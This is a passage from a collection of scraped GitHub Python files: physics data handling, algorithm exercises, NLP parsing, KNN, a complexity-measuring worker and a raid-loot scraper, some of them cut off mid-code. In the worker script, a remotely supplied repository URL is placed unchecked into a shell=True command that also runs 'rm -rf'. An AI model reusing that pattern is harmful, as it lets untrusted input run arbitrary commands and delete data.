greypic","repo_name":"JohnSantaguida/FishML","sub_path":"Fish/_Train/mnist_loader.py","file_name":"mnist_loader.py","file_ext":"py","file_size_in_byte":5617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"8215272415","text":"from __future__ import print_function\nimport os, sys, argparse, shutil, datetime, time\nimport numpy as np\nnp.set_printoptions(linewidth=180)\nimport tables as h5\nimport warnings\nwarnings.simplefilter('ignore', h5.NaturalNameWarning)\nfrom glob import glob\n'''\n NUCLEON_ELASTIC_FF IMPORTS\n'''\nsys.path.append(os.path.join(os.path.dirname(__file__)))\nsys.path.append(os.path.join(os.path.dirname(__file__),'area51_files'))\nimport importlib\nimport c51_mdwf_hisq as c51\nimport utils\nimport sources\n\nmessage = {\n 'res_phi':'MRES and PHI_QQ',\n 'spec' :'PIONS and PROTONS',\n 'formfac':'PROTON FORMFAC',\n}\n\ndef get_data(params,d_type):\n # switch for data types to define h5 path\n if d_type == 'res_phi':\n prop_name = c51.names['prop'] % params\n\n\n\n\ndef put_data(params,d_type,data=None,overwrite=False,db_info=False):\n # switch for data types to define h5 path\n if d_type == 'res_phi': \n # data file\n data_file = params['data_dir']+'/'+params['ens_s']+'_'+params['CFG']+'_srcs'+src_ext+'.h5'\n # define h5 directories\n mp_dir = '/'+params['val_p']+'/dwf_jmu/mq'+params['MQ'].replace('.','p')+'/midpoint_pseudo'\n pp_dir = '/'+params['val_p']+'/dwf_jmu/mq'+params['MQ'].replace('.','p')+'/pseudo_pseudo'\n phi_dir = '/'+params['val_p']+'/phi_qq/mq'+params['MQ'].replace('.','p')\n # if db_info, just print information\n if db_info:\n for corr in [mp_dir,pp_dir]:\n print('data key : mres')\n print('data file : %s' %data_file)\n print('h5 path : %s' %(corr+'/'+params['SRC']))\n # else, actually put the data in the h5 file\n else:\n print('putting data not supported yet')\n\nif __name__ == \"__main__\":\n fmt = '%Y-%m-%d %H:%M:%S'\n\n ens,stream = c51.ens_base()\n ens_s = ens+'_'+stream\n\n area51 = importlib.import_module(ens)\n params = area51.params\n params['ens_s'] = ens_s\n\n params['machine'] = c51.machine\n params['ENS_LONG'] = c51.ens_long[ens]\n params['ENS_S'] = ens_s\n params['STREAM'] = stream\n\n print('ENSEMBLE:',ens_s)\n\n '''\n COMMAND LINE ARG PARSER\n '''\n parser = argparse.ArgumentParser(description='get data and put in h5 files')\n parser.add_argument('data_type',type=str,help='[res_phi spec formfac]')\n parser.add_argument('--cfgs',nargs='+',type=int,help='cfgs: ci [cf dc]')\n parser.add_argument('-s','--src',type=str,help='src [xXyYzZtT] None=All')\n parser.add_argument('-o',default=False,action='store_const',const=True,help='overwrite? [%(default)s]')\n parser.add_argument('--move',default=False,action='store_const',const=True,help='move bad files? [%(default)s]')\n parser.add_argument('-v',default=True,action='store_const',const=False,help='verbose? [%(default)s]')\n parser.add_argument('-d','--db_info',default=False,action='store_const',const=True,\\\n help='print DB info and not collect? [%(default)s]')\n args = parser.parse_args()\n print('Arguments passed')\n print(args)\n print('')\n\n dtype = np.float64\n # make sure the h5 data directory exists\n data_dir = c51.data_dir % params\n utils.ensure_dirExists(data_dir)\n params['data_dir'] = data_dir\n\n # if we read si, sf, ds from area51 file, user is over-riding default\n if 'si' in params and 'sf' in params and 'ds' in params:\n tmp_params = dict()\n tmp_params['si'] = params['si']\n tmp_params['sf'] = params['sf']\n tmp_params['ds'] = params['ds']\n params = sources.src_start_stop(params,ens,stream)\n params['si'] = tmp_params['si']\n params['sf'] = tmp_params['sf']\n params['ds'] = tmp_params['ds']\n else:\n params = sources.src_start_stop(params,ens,stream)\n\n # Get cfg and src list, create source extension for name\n cfgs_run,srcs = utils.parse_cfg_src_argument(args.cfgs,args.src,params)\n src_ext = \"%d-%d\" %(params['si'],params['sf'])\n params['src_ext'] = src_ext\n\n # get the valence information\n smr = 'gf'+params['FLOW_TIME']+'_w'+params['WF_S']+'_n'+params['WF_N']\n val = smr+'_M5'+params['M5']+'_L5'+params['L5']+'_a'+params['alpha5']\n val_p = val.replace('.','p')\n params['val'] = val\n params['val_p'] = val_p\n\n # for now, we are ONLY doing the light quark\n mv_l = params['MV_L']\n params['MQ'] = params['MV_L']\n\n print('MINING %s' %(message[args.data_type]))\n print('ens_stream = %s' %(ens_s))\n if len(cfgs_run) == 1:\n dc = 1\n else:\n dc = cfgs_run[1]-cfgs_run[0]\n print('cfgs_i : cfg_f : dc = %d : %d : %d' %(cfgs_run[0],cfgs_run[-1],dc))\n print('si - sf x ds = %d - %d x %d\\n' %(params['si'],params['sf'],params['ds']))\n time.sleep(2)\n\n # if db_info, we are just printing the h5 file path, h5 dir info and key\n if args.db_info:\n print('printing info for the database')\n for cfg in cfgs_run:\n no = str(cfg)\n params['CFG'] = no\n params = c51.ensemble(params)\n for src in srcs[cfg]:\n params['SRC'] = src\n put_data(params=params,d_type=args.data_type,overwrite=args.o,db_info=args.db_info)\n\n\n # else, collect data and put it in the h5 files\n else:\n print('collecting data')\n for cfg in cfgs_run:\n no = str(cfg)\n sys.stdout.write(' cfg=%4d\\r' %(cfg))\n sys.stdout.flush()\n","repo_name":"callat-qcd/nucleon_elastic_FF","sub_path":"scripts/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":5407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"26041342764","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 25 09:10:17 2018\n\n@author: Amin\n\"\"\"\nfrom collections import deque\n\nclass Node:\n def __init__(self,val):\n self.val = val\n self.left = None\n self.right = None\n\ndef is_desc(root, node):\n if root == None:\n return False\n q = deque()\n q.append(root)\n while(len(q) > 0):\n n = q.popleft()\n if n == node:\n return True\n if n.left != None:\n q.append(n.left)\n if n.right != None:\n q.append(n.right)\n \ndef first_common_ances(root, n1, n2):\n if root == None:\n return None\n if is_desc(root, n1) and is_desc(root,n2):\n left = first_common_ances(root.left, n1, n2)\n right = first_common_ances(root.right, n1, n2)\n if left != None:\n return left\n if right != None:\n return right\n return root\n \nif __name__==\"__main__\":\n root = Node(5)\n root.left = Node(2)\n root.right = Node(8)\n root.left.right = Node(4)\n root.left.right.left = Node(1)\n \n assert is_desc(root, root.left.right.left)\n assert not is_desc(root.right, root.left.right.left)\n \n assert first_common_ances(root, root.left.right, root.right) == root\n assert first_common_ances(root, root.left.right.left, root.left.right) == root.left.right","repo_name":"Amin-Tajgardoon/coding_practice","sub_path":"first_common_ancestor.py","file_name":"first_common_ancestor.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"40804525571","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 11 14:24:20 2018\n\n@author: zhangyaxuan\n\nBasic Algorithms using backtrack\n经典0-1背包问题:假设山洞里共有a,b,c,d ,e这5件宝物(不是5种宝物),它们的重量分别是2,2,6,5,4,它们的价值分别是6,3,5,4,6,现在给你个承重为10的背包, 怎么装背包,可以才能带走最多的财富。\n\"\"\"\n\nbestV=0\ncurW=0\ncurV=0\nbestx=None\n\ndef backtrack_01bag(i):\n \"\"\"01背包问题(回溯法,注意全局变量)\"\"\"\n global bestV,curW,curV,x,bestx\n if i>=n:\n if bestV=w[i-1] and res[i][j]'\nprint(result)\n","repo_name":"wnstj-yang/Algorithm","sub_path":"BOJ/BOJ_1158.py","file_name":"BOJ_1158.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"2193279641","text":"import argparse\r\nimport json\r\nimport os\r\nimport shutil\r\nimport pickle\r\nimport multiprocessing\r\nimport math\r\nimport pandas as pd\r\nfrom collections import Counter, defaultdict\r\nfrom itertools import chain\r\nfrom tqdm import tqdm\r\nfrom utils import *\r\n\r\n\r\ndef process_raw_file(\r\n raw_path, processed_path=None, corenlp_path=\"corenlp-4.4.0\", corenlp_port=9000, annotators=None, max_len=None\r\n):\r\n \"\"\" Process a file that contains raw texts\r\n\r\n :param raw_path: the file name to a file that contains raw texts\r\n :type raw_path: str\r\n :param processed_path: the file name to a file to store parsed results\r\n :type processed_path: str or None\r\n :param corenlp_path: the path to the Stanford CoreNLP package\r\n :type corenlp_path: str\r\n :param corenlp_port: the port number of the Stanford CoreNLP server\r\n :type corenlp_port: int\r\n :param annotators: the annotators to use\r\n :type annotators: list or None\r\n :param max_len: the maximum length of a paragraph\r\n :type max_len: int or None\r\n :return: the parsed results of the given file\r\n :rtype: List[List[Dict[str, object]]]\r\n \"\"\"\r\n\r\n if max_len is None:\r\n max_len = MAX_LEN\r\n corenlp_client, _ = get_corenlp_client(corenlp_path=corenlp_path, corenlp_port=corenlp_port, annotators=annotators)\r\n\r\n paragraphs = []\r\n sids = []\r\n with open(raw_path, \"r\", encoding=\"utf-8\", errors=\"ignore\") as f:\r\n for line in f:\r\n line = json.loads(line)\r\n paragraphs.append(line[\"text\"])\r\n sids.append(line[\"sid\"])\r\n\r\n sid = 1\r\n para_lens = []\r\n for i in range(len(paragraphs)):\r\n paragraphs[i] = parse_sentense_with_stanford(paragraphs[i], corenlp_client, annotators, max_len)\r\n para_lens.append(len(paragraphs[i]) + sid)\r\n for sent in paragraphs[i]:\r\n sent[\"sid\"] = f\"{sids[i]}|{sid}\"\r\n sid += 1\r\n\r\n if processed_path is not None:\r\n with open(processed_path, \"w\", encoding=\"utf-8\") as f:\r\n f.write(json.dumps({\"sentence_lens\": para_lens}))\r\n f.write(\"\\n\")\r\n for para in paragraphs:\r\n for sent in para:\r\n f.write(json.dumps(sent))\r\n f.write(\"\\n\")\r\n return paragraphs\r\n\r\n\r\ndef load_processed_data(processed_path):\r\n \"\"\" This method retrieves all paragraphs from a processed file\r\n\r\n :type processed_path: str or None\r\n :param processed_path: the file path of the processed file\r\n :return: a list of lists of dicts\r\n \"\"\"\r\n with open(processed_path, \"r\") as f:\r\n sent_len = json.loads(f.readline())[\"sentence_lens\"]\r\n paragraphs = list()\r\n line_no = 1\r\n para_idx = 0\r\n while para_idx < len(sent_len):\r\n paragraph = list()\r\n end_no = sent_len[para_idx]\r\n while line_no < end_no:\r\n sent = json.loads(f.readline())\r\n if \"sid\" not in sent:\r\n sent[\"sid\"] = processed_path + \"|\" + str(line_no)\r\n paragraph.append(sent)\r\n line_no += 1\r\n para_idx += 1\r\n paragraphs.append(paragraph)\r\n return paragraphs\r\n\r\n\r\ndef process_file(\r\n raw_path=None,\r\n processed_path=None,\r\n corenlp_path=\"corenlp-4.4.0\",\r\n corenlp_port=9000,\r\n):\r\n if os.path.exists(processed_path):\r\n processed_data = load_processed_data(processed_path)\r\n elif os.path.exists(raw_path):\r\n processed_data = process_raw_file(\r\n raw_path, processed_path, corenlp_path=corenlp_path, corenlp_port=corenlp_port\r\n )\r\n else:\r\n raise ValueError(\"Error: at least one of raw_path and processed_path should not be None.\")\r\n return processed_data\r\n\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"--csv_file_name\", type=str, default=\"elec.csv\")\r\n parser.add_argument(\"--raw_dir_name\", type=str, default=\"raw\")\r\n parser.add_argument(\"--processed_dir_name\", type=str, default=\"parse\")\r\n parser.add_argument(\"--corenlp_path\", type=str, default=\"corenlp-4.4.0\")\r\n parser.add_argument(\"--base_corenlp_port\", type=int, default=9000)\r\n parser.add_argument(\"--n_extractors\", type=int, default=4)\r\n args = parser.parse_args()\r\n\r\n os.makedirs(args.raw_dir_name, exist_ok=True)\r\n os.makedirs(args.processed_dir_name, exist_ok=True)\r\n\r\n df = pd.read_csv(\r\n args.csv_file_name, usecols=[\"item_a_id\", \"relation\", \"item_b_id\", \"assertion\"]\r\n )\r\n data = defaultdict(list)\r\n for row in df.itertuples():\r\n if row.relation not in TEMPLATES:\r\n continue\r\n prefix = TEMPLATES[row.relation][0]\r\n if len(prefix) == 0:\r\n idx = row.assertion.index(\"because \") + 8\r\n else:\r\n assert prefix in row.assertion\r\n idx = row.assertion.index(prefix)\r\n sid = \"{}-{}-{}|{}\".format(row.item_a_id, row.relation, row.item_b_id, row.Index)\r\n data[row.relation].append({\"sid\": sid, \"text\": row.assertion[idx:]})\r\n\r\n raw_paths, processed_paths = list(), list()\r\n file_name_prefix = os.path.splitext(os.path.basename(args.csv_file_name))[0]\r\n for relation in sorted(data.keys()):\r\n raw_path = os.path.join(args.raw_dir_name, relation + \"_\" + file_name_prefix + \".jsonl\")\r\n processed_path = os.path.join(args.processed_dir_name, relation + \"_\" + file_name_prefix + \".jsonl\")\r\n with open(raw_path, \"w\") as f:\r\n for x in data[relation]:\r\n f.write(json.dumps(x))\r\n f.write(\"\\n\")\r\n raw_paths.append(raw_path)\r\n processed_paths.append(processed_path)\r\n\r\n with multiprocessing.Pool(args.n_extractors) as pool:\r\n results = list()\r\n for i in range(len(raw_paths)):\r\n extractor_idx = i % args.n_extractors\r\n corenlp_port = args.base_corenlp_port + extractor_idx\r\n results.append(\r\n pool.apply_async(\r\n process_file, args=(raw_paths[i], processed_paths[i], args.corenlp_path, corenlp_port)\r\n )\r\n )\r\n pool.close()\r\n for x in tqdm(results):\r\n x.get()\r\n","repo_name":"HKUST-KnowComp/FolkScope","sub_path":"src/pattern/generation_parser.py","file_name":"generation_parser.py","file_ext":"py","file_size_in_byte":6170,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"}
+{"seq_id":"42612461000","text":"import requests\nimport json\nimport subprocess\n\n\ndef Worker():\n masterURL = 'http://127.0.0.1:9999/repo'\n response = requests.get(masterURL, json={'pullStatus': False})\n data = json.loads(response.text)\n repoURL = data['repo']\n bashCommand = \"cd repoData &\" \\\n \"rm -rf .git/ &\" \\\n \"git init &\" \\\n \"git remote add origin {} &\" \\\n \"git pull\".format(repoURL)\n subprocess.Popen(bashCommand, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n response = requests.get(masterURL, json={'pullStatus': True})\n\n finishNum = 0\n moreCommit = True\n while moreCommit:\n response = requests.get('http://127.0.0.1:9999/complexity')\n data = json.loads(response.text)\n print(data)\n print('Received: ', str(data['sha']))\n\n if data['sha'] == -2:\n print('Waiting for enough workers.')\n else:\n if data['sha'] == -1:\n print('No more commit.')\n break\n\n bashCommand = \"cd repoData &\" \\\n \"git reset --hard {}\".format(data['sha'])\n subprocess.Popen(bashCommand, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n\n cmdLine = 'radon cc -a -s repoData'\n result = subprocess.check_output(cmdLine).decode()\n print(result)\n\n aveComplexityPos = result.rfind('(')\n if result.find(\"ERROR\") != -1:\n response = requests.post('http://127.0.0.1:9999/complexity', \n json={'commitSha': data['sha'], 'complexity': 0})\n if result[aveComplexityPos + 1:-2] == '':\n print('No computable files.')\n response = requests.post('http://127.0.0.1:9999/complexity',\n json={'commitSha': data['sha'], 'complexity': -1})\n else:\n temp = result[result.rfind('(') + 1:-2].replace(')', '').replace('\\r', '').replace('\\n', '').replace('\"', '')\n \n if temp is None:\n response = requests.post('http://127.0.0.1:9999/complexity',\n json={'commit': data['sha'], 'complexity': 0})\n else:\n aveComplexity = float(temp)\n response = requests.post('http://127.0.0.1:9999/complexity',\n json={'commit': data['sha'], 'complexity': aveComplexity})\n\n finishNum += 1\n print('The number of commits have been calculated is: ', str(finishNum))\n\n\nif __name__ == '__main__':\n Worker()\n","repo_name":"LareinaLi/REST","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23502281487","text":"\"\"\"Implement k-nearest neighbors.\n1) https://members.loria.fr/MOBerger/Enseignement/Master2/Exposes/beyer.pdf\ndescribes which situations KNN works or doesn't work.\n\n2) https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf\nIf a constant number of examples is distributed uniformly in a \nhigh-dimensional hypercube, beyond some dimensionality most examples are closer\nto a face of the hypercube than to their nearest neighbor. And if we \napproximate a hypersphere by inscribing it in a hypercube, in high dimensions\nalmost all the volume of the hypercube is outside the hypersphere.\n\n3) https://bib.dbvis.de/uploadedFiles/155.pdf\nThe Manhattan distance metric (L1) is the most preferable for high \ndimensional applications, followed by the Euclidean metric (L2).\n\"\"\"\n\nimport math\nfrom collections import Counter\n\ndef classify_knn(points, p, k=3):\n \"\"\"Classify a point using KNN.\n Parameters:\n points: Dictionary of training points having keys indicating classes.\n Each key have a list of training data points belong to it\n p: Test data point in the form of (x,y)\n k: Number of nearest neighbours to consider, default is 3\n \"\"\"\n distances = []\n for key in points:\n for point in points[key]:\n # Compute Manhattan distance\n distance = calculate_distance(point, p, 1)\n distances.append((distance, key))\n top_k_dist = sorted(distances)[:k]\n counts = Counter(x[1] for x in top_k_dist)\n return max(counts, key=lambda x: counts[x])\n\ndef calculate_distance(a, b, k=1/2):\n \"\"\"Calculate the distance between two points a and b.\n k = 1: Manhattan distance\n k = 2: Euclidean distance\n k < 1: fractional distance, proposed by the \"Surprising Behavior\" paper \n (https://bib.dbvis.de/uploadedFiles/155.pdf). \"Fractional norms\" exhibit \n the property of increasing the contrast between farthest and nearest \n points. This may be useful in some contexts, however there is a caveat:\n these \"fractional norms\" are not proper distance metrics because they\n violate the triangle inequality. If the triangle inequality is an important\n quality to have in your research, then fractional metrics are not going\n to be tremendously useful. (https://stats.stackexchange.com/a/99191)\n \"\"\"\n result = 0\n for i in range(len(a)):\n result += math.pow(abs(a[i] - b[i]), k)\n return math.pow(result, 1/k)\n\n\nif __name__ == \"__main__\":\n # Dictionary of training points belonging to either 0 or 1 class\n points = {0:[(1,12),(2,5),(3,6),(3,10),(3.5,8),(2,11),(2,9),(1,7)],\n 1:[(5,3),(3,2),(1.5,9),(7,2),(6,1),(3.8,1),(5.6,4),(4,2)]}\n # Number of neighbours \n k = 3\n assert classify_knn(points, (2.5, 7),k) == 0\n assert classify_knn(points, (10, 1), k) == 1\n ","repo_name":"ntrang086/python_snippets","sub_path":"ai/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13108898827","text":"# import numpy as np\r\n# import pandas as pd\r\n# import matplotlib.pyplot as plt\r\n# import seaborn as sns\r\n# import plotly.offline as pyo\r\n# pyo.init_notebook_mode()\r\n# import plotly.graph_objs as go\r\n# from plotly import tools\r\n# from plotly.subplots import make_subplots\r\n# import plotly.offline as py\r\n# import plotly.express as px\r\n# from sklearn.cluster import DBSCAN\r\n# from sklearn.neighbours import NearestNeighbors\r\n# from sklearn.metrics import silhouetter_score\r\n# from sklearn.preprocessing import StandardScaler\r\n# from sklearn.decomposition import PCA\r\n#\r\n# def cluster_commands(command_stats):\r\n# df = pd.DataFrame.from_dict(command_stats)\r\n\r\n\r\n# Online Python compiler (interpreter) to run Python online.\r\n# Write Python 3 code in this online editor and run it.\r\npairs = [(\"C-50\", \"S-90\"), (\"C-50\", 0), (\"S-150\", \"C-500\"), (\"C-50\", 0)]\r\n\r\npairs2 = [(\"C-50\", 0), (\"C-50\", 0), (\"C-90\", \"S-100\")]\r\n\r\npkts = [\"C50\", \"S90\", \"C50\", \"S150\", \"C500\", \"C50\"]\r\npkts2 = [\"C50\", \"C50\", \"C90\", \"S100\"]\r\npkt_index_step = 0\r\npkt_index = 0\r\nsequences = []\r\nsequenced_pairs_index = []\r\n\r\ni = 0\r\n\r\nwhile i < len(pairs2):\r\n print(sequenced_pairs_index)\r\n p1 = pairs2[i]\r\n if i <= len(pairs2) - 2:\r\n p2 = pairs2[i + 1]\r\n if i == len(pairs2) - 1:\r\n break\r\n if i in sequenced_pairs_index:\r\n continue\r\n\r\n seq_len = 0\r\n p1_pkt = pkt_index\r\n if 0 in p1:\r\n seq_len += 1\r\n # i = 1\r\n # pkt_index += 1\r\n if 0 not in p1:\r\n seq_len += 2\r\n p2_pkt = p1_pkt + seq_len\r\n # check whether p1 is before p2\r\n if p1_pkt == p2_pkt - seq_len:\r\n # print(\"sequence pairs:\", p1, p2)\r\n sequenced_pairs_index.append(i)\r\n sequenced_pairs_index.append(i + 1)\r\n step = 2\r\n sequences.append((p1, p2))\r\n if 0 in p2:\r\n seq_len += 1\r\n if 0 not in p2:\r\n seq_len += 2\r\n else:\r\n step = 1\r\n\r\n pkt_index += seq_len\r\n i = i + step\r\n\r\n\r\n","repo_name":"amithmurthy/MSc-Thesis-A-Lightweight-IDS-for-IoT-based-Smart-Building","sub_path":"cluster_command_traffic.py","file_name":"cluster_command_traffic.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"70385159875","text":"#! \n# Description:\n#************* \n# Python script containing various functions for plotting, integrating etc.\n#\n# Created by: Aylwin Iantchenko (07-12-2017)\n##########################################################################################################################################\n# Import packages\n##########################################################################################################################################\nimport h5py\nfrom scipy.integrate import simps\nimport numpy as np\nfrom scipy import integrate\nfrom math import sin,cos,radians\nimport matplotlib.pyplot as plt\n##########################################################################################################################################\n# Initialize constants and arrays\n##########################################################################################################################################\n# For plotting\ndefCol = ['blue','green','red','cyan','purple','yellow','black'\\\n,'grey','blue','green','red','cyan','purple','yellow','black','grey'] # color\nLineType = ['-','--','-o','--p','-^','-s','-d','--o','--p','--^','--s',\\\n'--d','-o','--p','-^','-s','-d','--o','--p','--^','--s','--d']# Line type\n\n\n##########################################################################################################################################\n# Other useful functions\n########################################################################################################################################## \ndef readH5(path,varNames,blnScalar):\n# function to read *.h5 files\n f = h5py.File(path, 'r')\n\n data = [] # initiate variable\n for var in varNames:\n if blnScalar:\n dataset = f[var]\n data.append(dataset[()])\n\n else:\n # Get the data\n data.append(list(f[var]))\n \n return tuple(data) \n\ndef plotter(x,y,Set,colSet):\n# Function to simplify plotting\n plt.figure(Set[0])\n ax=plt.gca()\n\n plt.plot(x,y,Set[1],color=colSet,lw=2,ms = 4,label=Set[2]) # plot things\n\n ax.set_xlabel(Set[3])\n ax.set_ylabel(Set[4])\n plt.legend()\n\ndef getTrigFuns(theta):\n# Function to generate sine and cosine\n# theta should be in radians\n sineVal,cosineVal = [],[] # initiate list\n \n for val in theta: sineVal.append(sin(val)) # get sine\n for val in theta: cosineVal.append(cos(val)) # get cosine\n return sineVal,cosineVal\n\ndef OnedInt(y,x):\n # performs a one dimensional integral over y(x)\n result = np.trapz(y,x = x)\n return result\n\ndef SortValsY(x,y):\n# Function to sort y and x after inceasing x\n ToSort = zip(x,y)\n ToSort = sorted(ToSort)\n x = [point[0] for point in ToSort]\n y = [point[1] for point in ToSort]\n return y\n\ndef SortVals(x,y):\n# Function to sort y and x after inceasing x\n ToSort = zip(x,y)\n ToSort = sorted(ToSort)\n x = [point[0] for point in ToSort]\n y = [point[1] for point in ToSort]\n return y,x\n","repo_name":"landreman/sfincs","sub_path":"fortran/version3/utils/ModelTest_AI/usefulFun.py","file_name":"usefulFun.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"de","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"}
+{"seq_id":"31761501333","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport chan\nfrom setuptools import find_packages\nfrom chan.utils.setup import setup\n\n__doc__ = open('README.md').read()\n\nEXCULDE_PACKAGES = ['chan.templates.project',\n 'chan.templates.app']\n\nsetup(name='chan',\n version=chan.__version_str__,\n description=\"a flask manage tool \",\n long_description=__doc__,\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Environment :: Console\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python :: 2.6\",\n \"Programming Language :: Python :: 2.7\",\n ],\n platforms = 'any',\n keywords='flask manage tool',\n author=chan.__author__,\n author_email=chan.__author_email__,\n url=chan.__url__,\n license=chan.__license__,\n include_package_data=True,\n packages = ['chan'],\n install_requires = ['click', 'jinja2'],\n zip_safe=False,\n entry_points = {\n 'console_scripts': [\n 'chan = chan.chan:main',\n ],\n },\n)\n","repo_name":"damonchen/chan","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"12100514610","text":"import glob, os\n\ndef rename(dir, pattern, titlePattern):\n for pathAndFilename in glob.iglob(os.path.join(dir, pattern)):\n title, ext = os.path.splitext(os.path.basename(pathAndFilename))\n title = title.replace('12_', '20_')\n print(os.path.join(dir, title + ext))\n os.rename(pathAndFilename,\n os.path.join(dir, title + ext))\n\nprint(os.getcwd())\nrename(os.getcwd() + '/images/2/combinations', r'*.jpg', r'new(%s)')\n","repo_name":"viranmalaka/Local_fashion_FO","sub_path":"src/assets/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"43038387529","text":"import subprocess\nimport multiprocessing\nimport sys\nimport time\n\ndef run_exe(instance_id, exe_path):\n while True:\n try:\n print(f\"Starting instance {instance_id}\")\n subprocess.run([exe_path])\n print(f\"Instance {instance_id} crashed. Restarting...\")\n except Exception as e:\n print(f\"Exception occurred in instance {instance_id}: {e}\")\n\nif __name__ == \"__main__\":\n num_instances = int(sys.argv[1])\n exe_path = sys.argv[2]\n \n processes = []\n for i in range(num_instances):\n process = multiprocessing.Process(target=run_exe, args=(i, exe_path))\n process.start()\n processes.append(process)\n\n try:\n for process in processes:\n process.join()\n except KeyboardInterrupt:\n for process in processes:\n process.terminate()\n","repo_name":"jan-bausch/NDVW-Minecraft-AI","sub_path":"Assets/Client/run_servers.py","file_name":"run_servers.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"31963574137","text":"# 1002. 查找常用字符\nclass Solution:\n def commonChars(self, A):\n # A: List[str]) -> List[str]:\n res = []\n for i in A[0]:\n judge = True\n for j in range(1,len(A)):\n if i not in A[j]:\n judge =False\n break\n\n if judge:\n res.append(i)\n for j in range(1,len(A)):\n index = A[j].find(i)\n A[j] = A[j][:index] + A[j][index + 1:]\n # A[j]=A[j].remove(A[j].find(i)) 'str' object has no attribute 'remove'\n\n\n return res\nA =[\"bella\",\"label\",\"roller\"]\ntest = Solution()\nprint(test.commonChars(A))\n\n\n\n\n\n\n","repo_name":"mrmenand/Py_transaction","sub_path":"LeetCode/arrary/easy/1002.查找常用字符.py","file_name":"1002.查找常用字符.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"21596967811","text":"import pandas as pd \nimport os \nimport pyprind\n\npbar = pyprind.ProgBar(50000)\n\nlabels = {'pos': 1, 'neg': 0}\n\ndf = pd.DataFrame()\n\nfor s in {'test', 'train'}:\n\tfor l in ('pos', 'neg'):\n\t\tpath = './aclImdb/%s/%s' % (s, l)\n\t\tfor f in os.listdir(path):\n\t\t\twith open(os.path.join(path, f), 'r') as infile:\n\t\t\t\ttxt = infile.read()\n\t\t\tdf = df.append([[txt, labels[l]]], ignore_index = True)\n\t\t\tpbar.update()\ndf.columns = ['review', 'sentiment']","repo_name":"mevanoff24/MachineLearning","sub_path":"SentimentAnalysis.py","file_name":"SentimentAnalysis.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"43578881155","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 9 12:10:55 2019\n\n@author: User\n\"\"\"\n\n\n\"\"\"\nCode Challenge\n Name: \n Character Frequency\n Filename: \n frequency.py\n Problem Statement:\n This program accepts a string from User and counts the number of characters (character frequency) in the input string. \n Input: \n www.google.com\n Output:\n {'c': 1, 'e': 1, 'g': 2, 'm': 1, 'l': 1, 'o': 3, '.': 2, 'w': 3}\n\"\"\"\nstr1 = input(\"Enter a string : \")\ndic1 = {}\nfor i in str1:\n if i in dic1:\n dic1[i]=dic1[i]+1\n else:\n dic1[i]=1\nprint(dic1)","repo_name":"aayushgupta0310/forskgit","sub_path":"day3/frequency.py","file_name":"frequency.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"33983505900","text":"import urllib.request\nfrom bs4 import BeautifulSoup\nimport re\n\nfrom global_settings import *\n\nCLASSIC_DB_ICON_NAME_REGEX = \"ShowIconName\\(\\\\'(.*)\\\\'\\)\"\n\n\ndef get_legacy_raid_ids():\n with urllib.request.urlopen(HYPERLINK_FUNCTION_LEGACY_PLAYER_RAIDS) as response:\n page = response.read()\n soup = BeautifulSoup(page, 'html.parser')\n character_table_list = soup.find('table', attrs={'class':'table noborder bbdesign'}).contents[3].contents[1:-1]\n\n raid_ids = []\n for item in character_table_list:\n try:\n raid_id = item.contents[0].contents[0]\n if raid_id:\n raid_ids.append(raid_id)\n except:\n continue\n return raid_ids\n\n\ndef get_recorded_loot_raid_ids():\n return set([raid_id for raid_id in raid_loot_sheet.col_values(10) if raid_id != ''][1:])\n\n\ndef get_recorded_attendance_raid_ids():\n attendance_raid_ids = []\n attendance_raid_ids.extend([raid_id.strip() for raid_id in raid_attendance_sheet.row_values(4) if raid_id != ''])\n 